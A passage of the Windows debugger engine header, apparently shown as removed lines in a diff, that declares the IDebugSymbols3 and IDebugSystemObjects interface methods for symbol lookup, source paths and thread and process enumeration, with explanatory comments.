- // regular expressions. The search results
- // are iterated through using GetNextSymbolMatch.
- // When the caller is done examining results
- // the match should be freed via EndSymbolMatch.
- // If the match pattern contains a module name
- // the search is restricted to a single module.
- // Pattern matching is only done on symbol names,
- // not module names.
- // All active symbol match handles are invalidated
- // when the set of loaded symbols changes.
- STDMETHOD(StartSymbolMatch)(
- THIS_
- __in PCSTR Pattern,
- __out PULONG64 Handle
- ) PURE;
- // If Buffer is NULL the match does not
- // advance.
- STDMETHOD(GetNextSymbolMatch)(
- THIS_
- __in ULONG64 Handle,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG MatchSize,
- __out_opt PULONG64 Offset
- ) PURE;
- STDMETHOD(EndSymbolMatch)(
- THIS_
- __in ULONG64 Handle
- ) PURE;
-
- STDMETHOD(Reload)(
- THIS_
- __in PCSTR Module
- ) PURE;
-
- STDMETHOD(GetSymbolPath)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG PathSize
- ) PURE;
- STDMETHOD(SetSymbolPath)(
- THIS_
- __in PCSTR Path
- ) PURE;
- STDMETHOD(AppendSymbolPath)(
- THIS_
- __in PCSTR Addition
- ) PURE;
-
- // Manipulate the path for executable images.
- // Some dump files need to load executable images
- // in order to resolve dump information. This
- // path controls where the engine looks for
- // images.
- STDMETHOD(GetImagePath)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG PathSize
- ) PURE;
- STDMETHOD(SetImagePath)(
- THIS_
- __in PCSTR Path
- ) PURE;
- STDMETHOD(AppendImagePath)(
- THIS_
- __in PCSTR Addition
- ) PURE;
-
- // Path routines for source file location
- // methods.
- STDMETHOD(GetSourcePath)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG PathSize
- ) PURE;
- // Gets the nth part of the source path.
- STDMETHOD(GetSourcePathElement)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG ElementSize
- ) PURE;
- STDMETHOD(SetSourcePath)(
- THIS_
- __in PCSTR Path
- ) PURE;
- STDMETHOD(AppendSourcePath)(
- THIS_
- __in PCSTR Addition
- ) PURE;
- // Uses the given file path and the source path
- // information to try and locate an existing file.
- // The given file path is merged with elements
- // of the source path and checked for existence.
- // If a match is found the element used is returned.
- // A starting element can be specified to restrict
- // the search to a subset of the path elements;
- // this can be useful when checking for multiple
- // matches along the source path.
- // The returned element can be 1, indicating
- // the file was found directly and not on the path.
- STDMETHOD(FindSourceFile)(
- THIS_
- __in ULONG StartElement,
- __in PCSTR File,
- __in ULONG Flags,
- __out_opt PULONG FoundElement,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG FoundSize
- ) PURE;
- // Retrieves all the line offset information
- // for a particular source file. Buffer is
- // first intialized to DEBUG_INVALID_OFFSET for
- // every entry. Then for each piece of line
- // symbol information Buffer[Line] set to
- // Lines offset. This produces a per-line
- // map of the offsets for the lines of the
- // given file. Line numbers are decremented
- // for the map so Buffer[0] contains the offset
- // for line number 1.
- // If there is no line information at all for
- // the given file the method fails rather
- // than returning a map of invalid offsets.
- STDMETHOD(GetSourceFileLineOffsets)(
- THIS_
- __in PCSTR File,
- __out_ecount_opt(BufferLines) PULONG64 Buffer,
- __in ULONG BufferLines,
- __out_opt PULONG FileLines
- ) PURE;
-
- // IDebugSymbols2.
-
- // If Index is DEBUG_ANY_ID the base address
- // is used to look up the module instead.
- // Item is specified as in VerQueryValue.
- // Module version information is only
- // available for loaded modules and may
- // not be available in all debug sessions.
- STDMETHOD(GetModuleVersionInformation)(
- THIS_
- __in ULONG Index,
- __in ULONG64 Base,
- __in PCSTR Item,
- __out_bcount_opt(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG VerInfoSize
- ) PURE;
- // Retrieves any available module name string
- // such as module name or symbol file name.
- // If Index is DEBUG_ANY_ID the base address
- // is used to look up the module instead.
- // If symbols are deferred an error will
- // be returned.
- // E_NOINTERFACE may be returned, indicating
- // no information exists.
- STDMETHOD(GetModuleNameString)(
- THIS_
- __in ULONG Which,
- __in ULONG Index,
- __in ULONG64 Base,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG NameSize
- ) PURE;
-
- // Returns the string name of a constant type.
- STDMETHOD(GetConstantName)(
- THIS_
- __in ULONG64 Module,
- __in ULONG TypeId,
- __in ULONG64 Value,
- __out_ecount_opt(NameBufferSize) PSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize
- ) PURE;
-
- // Gets name of a field in a struct
- // FieldNumber is 0 based index of field in a struct
- STDMETHOD(GetFieldName)(
- THIS_
- __in ULONG64 Module,
- __in ULONG TypeId,
- __in ULONG FieldIndex,
- __out_ecount_opt(NameBufferSize) PSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize
- ) PURE;
-
- // Control options for typed values.
- STDMETHOD(GetTypeOptions)(
- THIS_
- __out PULONG Options
- ) PURE;
- STDMETHOD(AddTypeOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(RemoveTypeOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(SetTypeOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
-
- // IDebugSymbols3.
-
- STDMETHOD(GetNameByOffsetWide)(
- THIS_
- __in ULONG64 Offset,
- __out_ecount_opt(NameBufferSize) PWSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize,
- __out_opt PULONG64 Displacement
- ) PURE;
- STDMETHOD(GetOffsetByNameWide)(
- THIS_
- __in PCWSTR Symbol,
- __out PULONG64 Offset
- ) PURE;
- STDMETHOD(GetNearNameByOffsetWide)(
- THIS_
- __in ULONG64 Offset,
- __in LONG Delta,
- __out_ecount_opt(NameBufferSize) PWSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize,
- __out_opt PULONG64 Displacement
- ) PURE;
-
- STDMETHOD(GetLineByOffsetWide)(
- THIS_
- __in ULONG64 Offset,
- __out_opt PULONG Line,
- __out_ecount_opt(FileBufferSize) PWSTR FileBuffer,
- __in ULONG FileBufferSize,
- __out_opt PULONG FileSize,
- __out_opt PULONG64 Displacement
- ) PURE;
- STDMETHOD(GetOffsetByLineWide)(
- THIS_
- __in ULONG Line,
- __in PCWSTR File,
- __out PULONG64 Offset
- ) PURE;
-
- STDMETHOD(GetModuleByModuleNameWide)(
- THIS_
- __in PCWSTR Name,
- __in ULONG StartIndex,
- __out_opt PULONG Index,
- __out_opt PULONG64 Base
- ) PURE;
- STDMETHOD(GetSymbolModuleWide)(
- THIS_
- __in PCWSTR Symbol,
- __out PULONG64 Base
- ) PURE;
-
- STDMETHOD(GetTypeNameWide)(
- THIS_
- __in ULONG64 Module,
- __in ULONG TypeId,
- __out_ecount_opt(NameBufferSize) PWSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize
- ) PURE;
- // Returns the ID for a type name.
- STDMETHOD(GetTypeIdWide)(
- THIS_
- __in ULONG64 Module,
- __in PCWSTR Name,
- __out PULONG TypeId
- ) PURE;
- STDMETHOD(GetFieldOffsetWide)(
- THIS_
- __in ULONG64 Module,
- __in ULONG TypeId,
- __in PCWSTR Field,
- __out PULONG Offset
- ) PURE;
-
- STDMETHOD(GetSymbolTypeIdWide)(
- THIS_
- __in PCWSTR Symbol,
- __out PULONG TypeId,
- __out_opt PULONG64 Module
- ) PURE;
-
- STDMETHOD(GetScopeSymbolGroup2)(
- THIS_
- __in ULONG Flags,
- __in_opt PDEBUG_SYMBOL_GROUP2 Update,
- __out PDEBUG_SYMBOL_GROUP2* Symbols
- ) PURE;
-
- STDMETHOD(CreateSymbolGroup2)(
- THIS_
- __out PDEBUG_SYMBOL_GROUP2* Group
- ) PURE;
-
- STDMETHOD(StartSymbolMatchWide)(
- THIS_
- __in PCWSTR Pattern,
- __out PULONG64 Handle
- ) PURE;
- STDMETHOD(GetNextSymbolMatchWide)(
- THIS_
- __in ULONG64 Handle,
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG MatchSize,
- __out_opt PULONG64 Offset
- ) PURE;
-
- STDMETHOD(ReloadWide)(
- THIS_
- __in PCWSTR Module
- ) PURE;
-
- STDMETHOD(GetSymbolPathWide)(
- THIS_
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG PathSize
- ) PURE;
- STDMETHOD(SetSymbolPathWide)(
- THIS_
- __in PCWSTR Path
- ) PURE;
- STDMETHOD(AppendSymbolPathWide)(
- THIS_
- __in PCWSTR Addition
- ) PURE;
-
- STDMETHOD(GetImagePathWide)(
- THIS_
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG PathSize
- ) PURE;
- STDMETHOD(SetImagePathWide)(
- THIS_
- __in PCWSTR Path
- ) PURE;
- STDMETHOD(AppendImagePathWide)(
- THIS_
- __in PCWSTR Addition
- ) PURE;
-
- STDMETHOD(GetSourcePathWide)(
- THIS_
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG PathSize
- ) PURE;
- STDMETHOD(GetSourcePathElementWide)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG ElementSize
- ) PURE;
- STDMETHOD(SetSourcePathWide)(
- THIS_
- __in PCWSTR Path
- ) PURE;
- STDMETHOD(AppendSourcePathWide)(
- THIS_
- __in PCWSTR Addition
- ) PURE;
- STDMETHOD(FindSourceFileWide)(
- THIS_
- __in ULONG StartElement,
- __in PCWSTR File,
- __in ULONG Flags,
- __out_opt PULONG FoundElement,
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG FoundSize
- ) PURE;
- STDMETHOD(GetSourceFileLineOffsetsWide)(
- THIS_
- __in PCWSTR File,
- __out_ecount_opt(BufferLines) PULONG64 Buffer,
- __in ULONG BufferLines,
- __out_opt PULONG FileLines
- ) PURE;
-
- STDMETHOD(GetModuleVersionInformationWide)(
- THIS_
- __in ULONG Index,
- __in ULONG64 Base,
- __in PCWSTR Item,
- __out_bcount_opt(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG VerInfoSize
- ) PURE;
- STDMETHOD(GetModuleNameStringWide)(
- THIS_
- __in ULONG Which,
- __in ULONG Index,
- __in ULONG64 Base,
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG NameSize
- ) PURE;
-
- STDMETHOD(GetConstantNameWide)(
- THIS_
- __in ULONG64 Module,
- __in ULONG TypeId,
- __in ULONG64 Value,
- __out_ecount_opt(NameBufferSize) PWSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize
- ) PURE;
-
- STDMETHOD(GetFieldNameWide)(
- THIS_
- __in ULONG64 Module,
- __in ULONG TypeId,
- __in ULONG FieldIndex,
- __out_ecount_opt(NameBufferSize) PWSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize
- ) PURE;
-
- // Returns S_OK if the engine is using managed
- // debugging support when retriving information
- // for the given module. This can be expensive
- // to check.
- STDMETHOD(IsManagedModule)(
- THIS_
- __in ULONG Index,
- __in ULONG64 Base
- ) PURE;
-
- // The module name may not be unique.
- // This method returns the first match.
- STDMETHOD(GetModuleByModuleName2)(
- THIS_
- __in PCSTR Name,
- __in ULONG StartIndex,
- __in ULONG Flags,
- __out_opt PULONG Index,
- __out_opt PULONG64 Base
- ) PURE;
- STDMETHOD(GetModuleByModuleName2Wide)(
- THIS_
- __in PCWSTR Name,
- __in ULONG StartIndex,
- __in ULONG Flags,
- __out_opt PULONG Index,
- __out_opt PULONG64 Base
- ) PURE;
- // Offset can be any offset within
- // the module extent. Extents may
- // not be unique when including unloaded
- // drivers. This method returns the
- // first match.
- STDMETHOD(GetModuleByOffset2)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG StartIndex,
- __in ULONG Flags,
- __out_opt PULONG Index,
- __out_opt PULONG64 Base
- ) PURE;
-
- // A caller can create artificial loaded modules in
- // the engine's module list if desired.
- // These modules only serve as names for
- // a region of addresses. They cannot have
- // real symbols loaded for them; if that
- // is desired Reload can be used with explicit
- // parameters to create a true module entry.
- // The region must not be in use by any other
- // module.
- // A general reload will discard any synthetic modules.
- STDMETHOD(AddSyntheticModule)(
- THIS_
- __in ULONG64 Base,
- __in ULONG Size,
- __in PCSTR ImagePath,
- __in PCSTR ModuleName,
- __in ULONG Flags
- ) PURE;
- STDMETHOD(AddSyntheticModuleWide)(
- THIS_
- __in ULONG64 Base,
- __in ULONG Size,
- __in PCWSTR ImagePath,
- __in PCWSTR ModuleName,
- __in ULONG Flags
- ) PURE;
- STDMETHOD(RemoveSyntheticModule)(
- THIS_
- __in ULONG64 Base
- ) PURE;
-
- // Modify the current frame used for scoping.
- // This is equivalent to the '.frame' command.
- STDMETHOD(GetCurrentScopeFrameIndex)(
- THIS_
- __out PULONG Index
- ) PURE;
- STDMETHOD(SetScopeFrameByIndex)(
- THIS_
- __in ULONG Index
- ) PURE;
-
- // Recovers JIT_DEBUG_INFO information at the given
- // address from the debuggee and sets current
- // debugger scope context from it.
- // Equivalent to '.jdinfo' command.
- STDMETHOD(SetScopeFromJitDebugInfo)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG64 InfoOffset
- ) PURE;
-
- // Switches the current debugger scope to
- // the stored event information.
- // Equivalent to the '.ecxr' command.
- STDMETHOD(SetScopeFromStoredEvent)(
- THIS
- ) PURE;
-
- // Takes the first symbol hit and outputs it.
- // Controlled with DEBUG_OUTSYM_* flags.
- STDMETHOD(OutputSymbolByOffset)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Flags,
- __in ULONG64 Offset
- ) PURE;
-
- // Function entry information for a particular
- // piece of code can be retrieved by this method.
- // The actual data returned is system-dependent.
- STDMETHOD(GetFunctionEntryByOffset)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG Flags,
- __out_bcount_opt(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BufferNeeded
- ) PURE;
-
- // Given a type which can contain members
- // this method returns the type ID and offset of a
- // particular member within the type.
- // Field gives the dot-separated path
- // to the field of interest.
- STDMETHOD(GetFieldTypeAndOffset)(
- THIS_
- __in ULONG64 Module,
- __in ULONG ContainerTypeId,
- __in PCSTR Field,
- __out_opt PULONG FieldTypeId,
- __out_opt PULONG Offset
- ) PURE;
- STDMETHOD(GetFieldTypeAndOffsetWide)(
- THIS_
- __in ULONG64 Module,
- __in ULONG ContainerTypeId,
- __in PCWSTR Field,
- __out_opt PULONG FieldTypeId,
- __out_opt PULONG Offset
- ) PURE;
-
- // Artificial symbols can be created in any
- // existing module as a way to name an address.
- // The address must not already have symbol
- // information.
- // A reload will discard synthetic symbols
- // for all address regions reloaded.
- STDMETHOD(AddSyntheticSymbol)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG Size,
- __in PCSTR Name,
- __in ULONG Flags,
- __out_opt PDEBUG_MODULE_AND_ID Id
- ) PURE;
- STDMETHOD(AddSyntheticSymbolWide)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG Size,
- __in PCWSTR Name,
- __in ULONG Flags,
- __out_opt PDEBUG_MODULE_AND_ID Id
- ) PURE;
- STDMETHOD(RemoveSyntheticSymbol)(
- THIS_
- __in PDEBUG_MODULE_AND_ID Id
- ) PURE;
-
- // The following methods can return multiple
- // hits for symbol lookups to allow for all
- // possible hits to be returned.
- STDMETHOD(GetSymbolEntriesByOffset)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG Flags,
- __out_ecount_opt(IdsCount) PDEBUG_MODULE_AND_ID Ids,
- __out_ecount_opt(IdsCount) PULONG64 Displacements,
- __in ULONG IdsCount,
- __out_opt PULONG Entries
- ) PURE;
- STDMETHOD(GetSymbolEntriesByName)(
- THIS_
- __in PCSTR Symbol,
- __in ULONG Flags,
- __out_ecount_opt(IdsCount) PDEBUG_MODULE_AND_ID Ids,
- __in ULONG IdsCount,
- __out_opt PULONG Entries
- ) PURE;
- STDMETHOD(GetSymbolEntriesByNameWide)(
- THIS_
- __in PCWSTR Symbol,
- __in ULONG Flags,
- __out_ecount_opt(IdsCount) PDEBUG_MODULE_AND_ID Ids,
- __in ULONG IdsCount,
- __out_opt PULONG Entries
- ) PURE;
- // Symbol lookup by managed metadata token.
- STDMETHOD(GetSymbolEntryByToken)(
- THIS_
- __in ULONG64 ModuleBase,
- __in ULONG Token,
- __out PDEBUG_MODULE_AND_ID Id
- ) PURE;
-
- // Retrieves full symbol entry information from an ID.
- STDMETHOD(GetSymbolEntryInformation)(
- THIS_
- __in PDEBUG_MODULE_AND_ID Id,
- __out PDEBUG_SYMBOL_ENTRY Info
- ) PURE;
- STDMETHOD(GetSymbolEntryString)(
- THIS_
- __in PDEBUG_MODULE_AND_ID Id,
- __in ULONG Which,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG StringSize
- ) PURE;
- STDMETHOD(GetSymbolEntryStringWide)(
- THIS_
- __in PDEBUG_MODULE_AND_ID Id,
- __in ULONG Which,
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG StringSize
- ) PURE;
- // Returns all known memory regions associated
- // with the given symbol. Simple symbols will
- // have a single region starting from their base.
- // More complicated regions, such as functions
- // with multiple code areas, can have an arbitrarily
- // large number of regions.
- // The quality of information returned is highly
- // dependent on the symbolic information availble.
- STDMETHOD(GetSymbolEntryOffsetRegions)(
- THIS_
- __in PDEBUG_MODULE_AND_ID Id,
- __in ULONG Flags,
- __out_ecount_opt(RegionsCount) PDEBUG_OFFSET_REGION Regions,
- __in ULONG RegionsCount,
- __out_opt PULONG RegionsAvail
- ) PURE;
-
- // This method allows navigating within the
- // symbol entry hierarchy.
- STDMETHOD(GetSymbolEntryBySymbolEntry)(
- THIS_
- __in PDEBUG_MODULE_AND_ID FromId,
- __in ULONG Flags,
- __out PDEBUG_MODULE_AND_ID ToId
- ) PURE;
-
- // The following methods can return multiple
- // hits for source lookups to allow for all
- // possible hits to be returned.
- STDMETHOD(GetSourceEntriesByOffset)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG Flags,
- __out_ecount_opt(EntriesCount) PDEBUG_SYMBOL_SOURCE_ENTRY Entries,
- __in ULONG EntriesCount,
- __out_opt PULONG EntriesAvail
- ) PURE;
- STDMETHOD(GetSourceEntriesByLine)(
- THIS_
- __in ULONG Line,
- __in PCSTR File,
- __in ULONG Flags,
- __out_ecount_opt(EntriesCount) PDEBUG_SYMBOL_SOURCE_ENTRY Entries,
- __in ULONG EntriesCount,
- __out_opt PULONG EntriesAvail
- ) PURE;
- STDMETHOD(GetSourceEntriesByLineWide)(
- THIS_
- __in ULONG Line,
- __in PCWSTR File,
- __in ULONG Flags,
- __out_ecount_opt(EntriesCount) PDEBUG_SYMBOL_SOURCE_ENTRY Entries,
- __in ULONG EntriesCount,
- __out_opt PULONG EntriesAvail
- ) PURE;
-
- STDMETHOD(GetSourceEntryString)(
- THIS_
- __in PDEBUG_SYMBOL_SOURCE_ENTRY Entry,
- __in ULONG Which,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG StringSize
- ) PURE;
- STDMETHOD(GetSourceEntryStringWide)(
- THIS_
- __in PDEBUG_SYMBOL_SOURCE_ENTRY Entry,
- __in ULONG Which,
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG StringSize
- ) PURE;
- // Returns all known memory regions associated
- // with the given source entry. As with
- // GetSymbolEntryOffsetRegions the regions available
- // are variable.
- STDMETHOD(GetSourceEntryOffsetRegions)(
- THIS_
- __in PDEBUG_SYMBOL_SOURCE_ENTRY Entry,
- __in ULONG Flags,
- __out_ecount_opt(RegionsCount) PDEBUG_OFFSET_REGION Regions,
- __in ULONG RegionsCount,
- __out_opt PULONG RegionsAvail
- ) PURE;
-
- // This method allows navigating within the
- // source entries.
- STDMETHOD(GetSourceEntryBySourceEntry)(
- THIS_
- __in PDEBUG_SYMBOL_SOURCE_ENTRY FromEntry,
- __in ULONG Flags,
- __out PDEBUG_SYMBOL_SOURCE_ENTRY ToEntry
- ) PURE;
-};
-
-//----------------------------------------------------------------------------
-//
-// IDebugSystemObjects
-//
-//----------------------------------------------------------------------------
-
-#undef INTERFACE
-#define INTERFACE IDebugSystemObjects
-DECLARE_INTERFACE_(IDebugSystemObjects, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugSystemObjects.
-
- // In user mode debugging the debugger
- // tracks all threads and processes and
- // enumerates them through the following
- // methods. When enumerating threads
- // the threads are enumerated for the current
- // process.
- // Kernel mode debugging currently is
- // limited to enumerating only the threads
- // assigned to processors, not all of
- // the threads in the system. Process
- // enumeration is limited to a single
- // virtual process representing kernel space.
-
- // Returns the ID of the thread on which
- // the last event occurred.
- STDMETHOD(GetEventThread)(
- THIS_
- __out PULONG Id
- ) PURE;
- STDMETHOD(GetEventProcess)(
- THIS_
- __out PULONG Id
- ) PURE;
-
- // Controls implicit thread used by the
- // debug engine. The debuggers current
- // thread is just a piece of data held
- // by the debugger for calls which use
- // thread-specific information. In those
- // calls the debuggers current thread is used.
- // The debuggers current thread is not related
- // to any system thread attribute.
- // IDs for threads are small integer IDs
- // maintained by the engine. They are not
- // related to system thread IDs.
- STDMETHOD(GetCurrentThreadId)(
- THIS_
- __out PULONG Id
- ) PURE;
- STDMETHOD(SetCurrentThreadId)(
- THIS_
- __in ULONG Id
- ) PURE;
- // The current process is the process
- // that owns the current thread.
- STDMETHOD(GetCurrentProcessId)(
- THIS_
- __out PULONG Id
- ) PURE;
- // Setting the current process automatically
- // sets the current thread to the thread that
- // was last current in that process.
- STDMETHOD(SetCurrentProcessId)(
- THIS_
- __in ULONG Id
- ) PURE;
-
- // Gets the number of threads in the current process.
- STDMETHOD(GetNumberThreads)(
- THIS_
- __out PULONG Number
- ) PURE;
- // Gets thread count information for all processes
- // and the largest number of threads in a single process.
- STDMETHOD(GetTotalNumberThreads)(
- THIS_
- __out PULONG Total,
- __out PULONG LargestProcess
- ) PURE;
- STDMETHOD(GetThreadIdsByIndex)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount_opt(Count) PULONG Ids,
- __out_ecount_opt(Count) PULONG SysIds
- ) PURE;
- // Gets the debugger ID for the thread
- // currently running on the given
- // processor. Only works in kernel
- // debugging.
- STDMETHOD(GetThreadIdByProcessor)(
- THIS_
- __in ULONG Processor,
- __out PULONG Id
- ) PURE;
- // Returns the offset of the current threads
- // system data structure. When kernel debugging
- // this is the offset of the KTHREAD.
- // When user debugging it is the offset
- // of the current TEB.
- STDMETHOD(GetCurrentThreadDataOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // Looks up a debugger thread ID for the given
- // system thread data structure.
- // Currently when kernel debugging this will fail
- // if the thread is not executing on a processor.
- STDMETHOD(GetThreadIdByDataOffset)(
- THIS_
- __in ULONG64 Offset,
- __out PULONG Id
- ) PURE;
- // Returns the offset of the current threads
- // TEB. In user mode this is equivalent to
- // the threads data offset.
- STDMETHOD(GetCurrentThreadTeb)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // Looks up a debugger thread ID for the given TEB.
- // Currently when kernel debugging this will fail
- // if the thread is not executing on a processor.
- STDMETHOD(GetThreadIdByTeb)(
- THIS_
- __in ULONG64 Offset,
- __out PULONG Id
- ) PURE;
- // Returns the system unique ID for the current thread.
- // Not currently supported when kernel debugging.
- STDMETHOD(GetCurrentThreadSystemId)(
- THIS_
- __out PULONG SysId
- ) PURE;
- // Looks up a debugger thread ID for the given
- // system thread ID.
- // Currently when kernel debugging this will fail
- // if the thread is not executing on a processor.
- STDMETHOD(GetThreadIdBySystemId)(
- THIS_
- __in ULONG SysId,
- __out PULONG Id
- ) PURE;
- // Returns the handle of the current thread.
- // In kernel mode the value returned is the
- // index of the processor the thread is
- // executing on plus one.
- STDMETHOD(GetCurrentThreadHandle)(
- THIS_
- __out PULONG64 Handle
- ) PURE;
- // Looks up a debugger thread ID for the given handle.
- // Currently when kernel debugging this will fail
- // if the thread is not executing on a processor.
- STDMETHOD(GetThreadIdByHandle)(
- THIS_
- __in ULONG64 Handle,
- __out PULONG Id
- ) PURE;
-
- // Currently kernel mode sessions will only have
- // a single process representing kernel space.
- STDMETHOD(GetNumberProcesses)(
- THIS_
- __out PULONG Number
- ) PURE;
- STDMETHOD(GetProcessIdsByIndex)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount_opt(Count) PULONG Ids,
- __out_ecount_opt(Count) PULONG SysIds
- ) PURE;
- // Returns the offset of the current processs
- // system data structure. When kernel debugging
- // this is the offset of the KPROCESS of
- // the process that owns the current thread.
- // When user debugging it is the offset
- // of the current PEB.
- STDMETHOD(GetCurrentProcessDataOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // Looks up a debugger process ID for the given
- // system process data structure.
- // Not currently supported when kernel debugging.
- STDMETHOD(GetProcessIdByDataOffset)(
- THIS_
- __in ULONG64 Offset,
- __out PULONG Id
- ) PURE;
- // Returns the offset of the current processs
- // PEB. In user mode this is equivalent to
- // the processs data offset.
- STDMETHOD(GetCurrentProcessPeb)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // Looks up a debugger process ID for the given PEB.
- // Not currently supported when kernel debugging.
- STDMETHOD(GetProcessIdByPeb)(
- THIS_
- __in ULONG64 Offset,
- __out PULONG Id
- ) PURE;
- // Returns the system unique ID for the current process.
- // Not currently supported when kernel debugging.
- STDMETHOD(GetCurrentProcessSystemId)(
- THIS_
- __out PULONG SysId
- ) PURE;
- // Looks up a debugger process ID for the given
- // system process ID.
- // Not currently supported when kernel debugging.
- STDMETHOD(GetProcessIdBySystemId)(
- THIS_
- __in ULONG SysId,
- __out PULONG Id
- ) PURE;
- // Returns the handle of the current process.
- // In kernel mode this is the kernel processs
- // artificial handle used for symbol operations
- // and so can only be used with dbghelp APIs.
- STDMETHOD(GetCurrentProcessHandle)(
- THIS_
- __out PULONG64 Handle
- ) PURE;
- // Looks up a debugger process ID for the given handle.
- STDMETHOD(GetProcessIdByHandle)(
- THIS_
- __in ULONG64 Handle,
- __out PULONG Id
- ) PURE;
- // Retrieve the name of the executable loaded
- // in the process. This may fail if no executable
- // was identified.
- STDMETHOD(GetCurrentProcessExecutableName)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG ExeSize
- ) PURE;
-};
-
-#undef INTERFACE
-#define INTERFACE IDebugSystemObjects2
-DECLARE_INTERFACE_(IDebugSystemObjects2, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugSystemObjects.
-
- // In user mode debugging the debugger
- // tracks all threads and processes and
- // enumerates them through the following
- // methods. When enumerating threads
- // the threads are enumerated for the current
- // process.
- // Kernel mode debugging currently is
- // limited to enumerating only the threads
- // assigned to processors, not all of
- // the threads in the system. Process
- // enumeration is limited to a single
- // virtual process representing kernel space.
-
- // Returns the ID of the thread on which
- // the last event occurred.
- STDMETHOD(GetEventThread)(
- THIS_
- __out PULONG Id
- ) PURE;
- STDMETHOD(GetEventProcess)(
- THIS_
- __out PULONG Id
- ) PURE;
-
- // Controls implicit thread used by the
- // debug engine. The debuggers current
- // thread is just a piece of data held
- // by the debugger for calls which use
- // thread-specific information. In those
- // calls the debuggers current thread is used.
- // The debuggers current thread is not related
- // to any system thread attribute.
- // IDs for threads are small integer IDs
- // maintained by the engine. They are not
- // related to system thread IDs.
- STDMETHOD(GetCurrentThreadId)(
- THIS_
- __out PULONG Id
- ) PURE;
- STDMETHOD(SetCurrentThreadId)(
- THIS_
- __in ULONG Id
- ) PURE;
- // The current process is the process
- // that owns the current thread.
- STDMETHOD(GetCurrentProcessId)(
- THIS_
- __out PULONG Id
- ) PURE;
- // Setting the current process automatically
- // sets the current thread to the thread that
- // was last current in that process.
- STDMETHOD(SetCurrentProcessId)(
- THIS_
- __in ULONG Id
- ) PURE;
-
- // Gets the number of threads in the current process.
- STDMETHOD(GetNumberThreads)(
- THIS_
- __out PULONG Number
- ) PURE;
- // Gets thread count information for all processes
- // and the largest number of threads in a single process.
- STDMETHOD(GetTotalNumberThreads)(
- THIS_
- __out PULONG Total,
- __out PULONG LargestProcess
- ) PURE;
- STDMETHOD(GetThreadIdsByIndex)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount_opt(Count) PULONG Ids,
- __out_ecount_opt(Count) PULONG SysIds
- ) PURE;
- // Gets the debugger ID for the thread
- // currently running on the given
- // processor. Only works in kernel
- // debugging.
